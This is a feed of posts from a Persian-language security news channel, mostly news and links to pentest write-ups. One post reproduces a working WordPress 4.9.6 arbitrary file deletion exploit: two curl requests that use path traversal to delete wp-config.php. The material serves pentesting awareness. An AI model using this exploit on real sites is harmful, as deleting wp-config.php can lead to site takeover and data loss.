❌ قابل توجه کاربران سیستم عامل Gentoo❌

روز گذشته حساب گیت هاب سیستم عامل Gentoo توسط هکر یا هکرها مورد حمله قرار گرفت و سورس کد اصلی با سورس کد آلوده جایگزین شد!
این هکرها که ماهیت شان شناخته شده نیست در روز ۲۸ ژوئن موفق به دستیابی به حساب گیت هاب این سیستم عامل شدند.


منبع:
https://thehackernews.com/2018/06/gentoo-linux-github.html

#news
#linux
#github
#gentoo
#malware


@sec_nerd

اکسپلویت جدید وردپرس که قابلیت حذف هر فایل دلخواه را به هکرها میدهد!

# Exploit Title: Wordpress <= 4.9.6 Arbitrary File Deletion Vulnerability
# Date: 2018-06-27
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.wordpress.org
# Software Link: https://www.wordpress.org/download
# Version: <= 4.9.6
# Tested on: php7 mysql5
# CVE :

Step 1:

curl -v 'https://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'

Step 2:

curl -v 'https://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***'

#wordpress
#wp
#exploit
#web
#pentest

@sec_nerd

نحوه کارکرد این باگ

https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/


#wp
#exploit
#wordpress


@sec_nerd

لیست ۵۰۰ سوپر کامپیوتر جهان منتشر شد و رتبه اول قوی ترین سوپر کامپیوتر به IBM Summit از امریکا اختصاص یافت.
در این رده بندی امریکا اول است اما سوپرکامپیوترهای چینی تعداد بیشتری دارند.
پس از سالها، توجه رده بندی ها از CPU به سوی GPU کشیده شده است و در این زمینه NVidia مجالی به رقبای خود برای خودنمایی نداده است.
نکته جالب توجه، استفاده تمامی این سوپرکامپیوترها از سیستم عامل لینوکس است! (همانند سالهای پیش)

منبع:
https://fossbytes.com/top500-most-powerful-supercomputer-list-2018-powered-by-linux/


#AI
#ML
#news
#linux
#gpu
#IBM
#usa
#chinna


@sec_nerd

توضیحات Craig Williams مدیر اجرایی تیم امنیتی talos در خصوص نحوه مقابله با بات نت #vpnfilter

#talos
#network
#botnet


@sec_nerd

#fun
#worldcup

no offense!

@sec_nerd

رایت آپ مربوط به آسیب پذیری RCE در phpmyadmin

https://medium.com/@happyholic1203/phpmyadmin-4-8-0-4-8-1-remote-code-execution-257bcc146f8e


#phpmyadmin
#exploit
#web
#lfi
#rce
#writeup

@sec_nerd

کشف حرکات جانبی در زیرساختهای ویندوزی


#windows
#security
#network
#lateral_movement


@sec_nerd

https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/


تسخیر شبکه با استفاده از ابزار Responder



#windows
#network
#privesc
#pivoting
#sniff

@sec_nerd

reverse engineering the "feature" provided by the capcom.sys driver on #Windows using Binary Ninja and Windbg.with a working exploit written in C

@sec_nerd

پس از اعلام شرکت آدیداس مبنی بر هک شدن وبسایت نمایندگی امریکای این شرکت، جزییاتی در خصوص اطلاعات به سرقت رفته منتشر شده است.
این اطلاعات شامل نام های کاربری و مشخصات میلیونها کاربر آدیداس بوده است.
اما آدیداس معتقد است که اطلاعات مربوط به سلامت و حسابهای بانکی مشتریان در این حمله دزدیده نشده، بعلاوه پسوردهای هک شده همگی دارای رمزنگاری مناسب بوده اند که این نشان از آمادگی مناسب آدیداس در برابر حملات این چنینی دارد.
اما آمادگی در برابر حمله هایی در این شکل و شمایل کافی نیست و نیاز به کار مداوم و بروزرسانی های امنیتی دائمی دارد.

هنوز جزییات دقیق تری از سوی آدیداس درخصوص این حمله منتشر نشده است.


منبع:
https://www.hackread.com/hackers-steal-millions-of-customers-data-from-adidas-us-website/


#adidas
#breach
#news


@sec_nerd

دور زدن WAF با سوء استفاده از SSL/TLS

https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass.html

#waf
#pentest
#web

@sec_nerd

گزارش فنی-امنیتی از فن های usb مورد استفاده در نشست ترامپ و کیم جونگ اون در سنگاپور برای موارد جاسوسی

#spy
#usa
#nk
#enviromental


@sec_nerd

لینوکس SUSE که متعلق به یک شرکت بریتانیایی بود با قیمت 2.5 میلیارد دلار به یک شرکت سهامی سوئدی فروخته شد.

https://thehackernews.com/2018/07/suse-linux-acquired.html

#news
#linux

@sec_nerd

اجرای دستور در سرورهای ویندوزی با استفاده از آپلود فایل web.config

https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/


#windows
#pentest
#web
#rce


@sec_nerd

هکرهای کره شمالی با کشف یک باگ 0day در یک نرم افزار دولتی کره جنوبی، حملات خود را به سیستم های حکومتی این کشور آغاز کرده اند. این نرم افزار همواره در سیستم های دولتی، پس از بوت شدن سیستم در حال اجرا است و در اینترنت اکسپلورر و کروم به راحتی و با بازدید از یک وبسایت آلوده به اکسپلویت به راحتی حمله را میتوان اجرا کرد!


https://twitter.com/issuemakerslab/status/1014227462157287424


#nk
#sk
#0day

@sec_nerd

ارتش سایبری کره شمالی دارای ۱۷۰۰ هکر در ۶ تیم و ۵۱۰۰ هکر در ۱۷ تیم دیگر است!

https://twitter.com/issuemakerslab/status/1011392967653769216


#nk
#0day

@sec_nerd

اکسپلویت اجرای دستور از راه دور در سیستم مدیریت محتوای CMS made Simple 2.2.5

کد شناسه CVE-2018-1000094

https://github.com/strukt93/exploits/blob/master/CVE-2018-1000094.py


#web
#pentest
#0day
#exploit
#cms_made_simple


@sec_nerd

اخیرا نقشه تعاملی بر روی اینترنت قرار گرفته است که پسورد سرویس وای فای فرودگاه های کشورهای مختلف را به کاربران ارائه میکند.
این سرویس توسط یک محقق امنیتی و جهانگرد به نام Anil Polat طراحی شده است.
این سرویس که WiFox نام دارد برای کاربران اندروید و ios اپ هایی نیز ارائه میکند.

اندروید:
https://play.google.com/store/apps/details?id=com.foxnomad.wifox.wifox&hl=en


ios:
https://itunes.apple.com/us/app/wifox/id1130542083?mt=8

البته استفاده از کانکشن های وای فای در اماکن عمومی به هیچ وجه توصیه نمیشود اما میتوانید با رعایت موارد امنیتی نظیر بکارگیری vpn های امن مانند tor،‌از این امکانات بهره ببرید (با نظر به این نکته که در فرودگاههای ایران ساعات زیادی رو باید منتظر پروازتون باشید!)

این نقشه، پسورد وایفای فرودگاه امام خمینی (ره) را نیز دارد که در پست بعد خواهیم دید.
شایان ذکر است که این نقشه و اطلاعات فرودگاهها و پسوردها به صورت روزانه در حال بروزرسانی است.


منبع؛
https://www.hackread.com/airports-free-wifi-passwords-map/


#news
#wifi
#security
#airport
#travel


@sec_nerd